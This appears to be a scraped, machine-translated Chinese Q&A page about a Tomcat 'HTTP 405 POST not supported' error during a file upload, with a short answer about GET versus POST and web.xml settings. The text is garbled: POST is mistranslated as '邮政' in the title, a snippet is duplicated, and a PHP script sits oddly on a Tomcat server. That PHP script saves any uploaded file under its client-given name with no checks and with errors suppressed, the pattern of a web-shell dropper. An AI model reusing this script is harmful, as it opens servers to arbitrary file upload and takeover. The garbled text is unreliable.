Post HTTP状态405-请求方法';邮政';不支持-文件上载

Post HTTP状态405-请求方法';邮政';不支持-文件上载,post,Post,HTTP状态405-不支持请求方法“POST” 类型状态报告 消息不支持请求方法“POST” 说明请求的资源不允许使用指定的HTTP方法 ApacheTomcat/7.0.42主页供点击 <?php if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FI

HTTP状态405-不支持请求方法“POST”

类型状态报告

消息不支持请求方法“POST”

说明请求的资源不允许使用指定的HTTP方法

ApacheTomcat/7.0.42主页供点击

<?php
if(isset($_POST['Submit'])){
    $filedir = ""; 
    $maxfile = '2000000';

    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if (isset($_FILES['image']['name'])) {
        $abod = $filedir.$userfile_name;
        @move_uploaded_file($userfile_tmp, $abod);

echo"<center><b>Done ==> $userfile_name</b></center>";
}
}
else{
echo'
<form method="GET" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
}
?>

请参阅并比较GET和POST

GET方法没有有意义的主体,因此不支持多部分或文件上载。最有可能的是,这是由浏览器作为POST请求发送的

确保servlet的
web.xml
文件中的
web资源集合
标记包含
POST
,以便Tomcat允许您的POST请求